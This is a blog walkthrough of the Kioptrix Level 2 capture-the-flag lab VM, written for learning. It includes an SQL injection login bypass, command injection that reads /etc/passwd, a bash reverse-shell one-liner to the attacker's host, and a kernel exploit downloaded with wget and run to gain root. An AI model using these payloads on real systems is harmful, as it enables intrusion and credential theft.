thebluetoob@home:~$

Kioptrix Level 2 Walkthrough

Today we’re going to go back in time to another one of my first Boot2Root VMs, this time Kioptrix Level 2 from VulnHub by the late, and much loved, loneferret.

Initial Reconnaissance

First things first is to figure out which IP address has been assigned to Kioptrix Level 2.

$ nmap -sn -T4 192.168.1.0/24

Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-26 19:54 AEDT
Nmap scan report for 192.168.1.1
Host is up (0.00063s latency).
Nmap scan report for 192.168.1.32
Host is up (0.00051s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 2.39 seconds

Then we’ll use my Nmap wrapper script to perform TCP port discovery and service enumeration.

# enumerate-ports 192.168.1.31

performing initial TCP scan. Saving results to 1-initial-reconnaissance/nmap/192.168.1.32_tcp_initial
Initial TCP scan for 192.168.1.32 completed successfully
Generating HTML report for initial TCP scan
Initial TCP scan report generated
performing TCP version scan. Saving results to 1-initial-reconnaissance/nmap/192.168.1.32_tcp_version
TCP version scan for 192.168.1.32 completed successfully
TCP version scan report generated
nmap scans complete for 192.168.1.32

Although my script produces a fancy HTML report using the Nmap XSL stylesheet, it’s easier to just print the output to stdout for this blog:

$ cat 1-initial-reconnaissance/nmap/192.168.1.32_tcp_version.nmap

Nmap scan report for 192.168.1.32
Host is up, received arp-response (0.00033s latency).

PORT     STATE SERVICE    REASON         VERSION
22/tcp   open  ssh        syn-ack ttl 64 OpenSSH 3.9p1 (protocol 1.99)
| ssh-hostkey: 
|   1024 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72 (RSA1)
|   1024 34:6b:45:3d:ba:ce:ca:b2:53:55:ef:1e:43:70:38:36 (DSA)
|_  1024 68:4d:8c:bb:b6:5a:bd:79:71:b8:71:47:ea:00:42:61 (RSA)
|_sshv1: Server supports SSHv1
80/tcp   open  http       syn-ack ttl 64 Apache httpd 2.0.52 ((CentOS))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.0.52 (CentOS)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
111/tcp  open  rpcbind    syn-ack ttl 64 2 (RPC #100000)
443/tcp  open  ssl/https? syn-ack ttl 64
|_ssl-date: 2019-11-26T00:51:51+00:00; +16h00m13s from scanner time.
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC4_64_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|_    SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
631/tcp  open  ipp        syn-ack ttl 64 CUPS 1.1
| http-methods: 
|   Supported Methods: GET HEAD OPTIONS POST PUT
|_  Potentially risky methods: PUT
|_http-server-header: CUPS/1.1
|_http-title: 403 Forbidden
812/tcp  open  status     syn-ack ttl 64 1 (RPC #100024)
3306/tcp open  mysql      syn-ack ttl 64 MySQL (unauthorized)
MAC Address: 00:0C:29:C7:BD:E1 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.30
Uptime guess: 49.709 days (since Fri Nov 22 02:52:09 2019)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=198 (Good luck!)
IP ID Sequence Generation: All zeros

Host script results:
|_clock-skew: 16h00m12s

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

It looks like we have is an old version of OpenSSH Server and Apache, which indicates this is likely to be a Boot2Root VM with a large web application (webapp) component to it.

Port 80/Apache Enumeration

We know from our Nmap results that this is a simple webpage so first thing we’ll do is just browse to it and see what we find.

image

Pretty simple login form.

Exploitation

As was briefly touched upon in the introduction, the intended path to exploiting Kioptrix Level 2 is via the web applications running on port 80, so we’ll focus on that.

Port 80/Apache

Simply setting the username to the SQL injection payload ' OR '1'='1'-- bypasses the login form and presents us with another form that invites us to type an IP address and ping a machine on the network.

We’ll try 127.0.0.1 just to see how it works.

image

With the following output:

image

If we compare the output of this web application:

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.006 ms
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.010 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.010 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2000ms
rtt min/avg/max/mdev = 0.006/0.008/0.010/0.003 ms, pipe 2

With the output of my local Kali machine pinging localhost:

$ ping -c 3 127.0.0.1

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.015 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.016 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.016 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2034ms
rtt min/avg/max/mdev = 0.015/0.015/0.016/0.000 ms

I’d say they look pretty similar! There’s a decent chance that this webapp is simply passing the user provided input to a system shell and executing ping.

If that’s the case then it may be vulnerable to command injection.

If I go back to the original page and this time type in 127.0.0.1; ls we get the following output:

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.006 ms
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.011 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.010 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1999ms
rtt min/avg/max/mdev = 0.006/0.009/0.011/0.002 ms, pipe 2
index.php
pingit.php

Definitely looks like it’s vulnerable to command injection!

Passing the value ; cat /etc/passwd further confirms this with the following output:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
squid:x:23:23::/var/spool/squid:/sbin/nologin
webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
pegasus:x:66:65:tog-pegasus OpenPegasus WBEM/CIM services:/var/lib/Pegasus:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
john:x:500:500::/home/john:/bin/bash
harold:x:501:501::/home/harold:/bin/bash

Lets try passing something a little bit more nefarious from the famous pentestmonkey reverse shell cheat sheet

We’ll pass this string as a value to the web application and launch a netcat listener on port 443 on our Kali machine.

;bash -i >& /dev/tcp/192.168.1.30/443 0>&1

$ nc -lvnp 443

listening on [any] 443 ...
connect to [192.168.1.30] from (UNKNOWN) [192.168.1.32] 37230
bash: no job control in this shell
bash-3.00$ whoami
apache

Great success!

Post-Exploitation

Now that we have access to the machine and we’re running as the apache user, we need to escalate our privileges to root.

From looking at the output of uname -a, we can see that this machine is running a fairly old Linux kernel:

Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux

Viewing the output of cat /etc/*elease also reveals that this machine is running CentOS release 4.5 (Final).

Privilege Escalation

There are an awful lot of local privilege escalation exploits on Exploit-DB for this kernel version but the one that looks the most promising is the Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - ‘ip_append_data()’ Ring0 Privilege Escalation (1) exploit as it matches both our Linux kernel version and the distribution version.

We’ll copy it to a local directory using searchsploit.

$ searchsploit -m 9542

  Exploit: Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 Privilege Escalation (1)
      URL: https://www.exploit-db.com/exploits/9542
     Path: /usr/share/exploitdb/exploits/linux_x86/local/9542.c
File Type: C source, ASCII text, with CRLF line terminators

Copied to: /home/ben/CTFs/vulnhub/kioptrix2_192.168.1.32/3-post-exploitation/9542.c

Although Kioptrix 2 has gcc installed it’s good practice to assume it’s not so we’ll compile the exploit locally and then download it fom the target system in to /dev/shm using wget.

$ gcc -m32 -Wl,--hash-style=both 9542.c -o 9542

$ python -m SimpleHTTPServer

Serving HTTP on 0.0.0.0 port 8000 ...
192.168.1.32 - - [26/Nov/2019 20:19:45] "GET /9542 HTTP/1.0" 200 -

And back in our reverse shell,

bash-3.00$ wget 192.168.1.30:8000/9542
--20:19:59--  http://192.168.1.30:8000/9542
           => `9542'
Connecting to 192.168.1.30:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16,220 (16K) [application/octet-stream]

    0K .......... .....                                      100%    2.16 GB/s

20:19:59 (2.16 GB/s) - `9542' saved [16220/16220]
bash-3.00$ ls
9542
bash-3.00$ chmod +x 9542
bash-3.00$ ./9542
sh: no job control in this shell
sh-3.00# whoami
root
sh-3.00# id
uid=0(root) gid=0(root) groups=48(apache)
sh-3.00# head -n 1 /etc/shadow
root:$1$FTpMLT88$VdzDQTTcksukSKMLRSVlc.:14529:0:99999:7:::

And we’re root!

Conclusion

The Kioptrix series of Boot2Root VMs will always hold a special place in my heart for being the VMs that got me in to CTFs in the first place. I can say that without a doubt Kioptrix Level 1 and 2 has shaped my career and skillset in an enormous way.

Kioptrix Level 2 is great step up from Level 1 with the inclusion of some simple injection vulnerabilities. It doesn’t have as many pathways as Kioptrix Level 3 and Stapler have but it’s another great VM for beginners.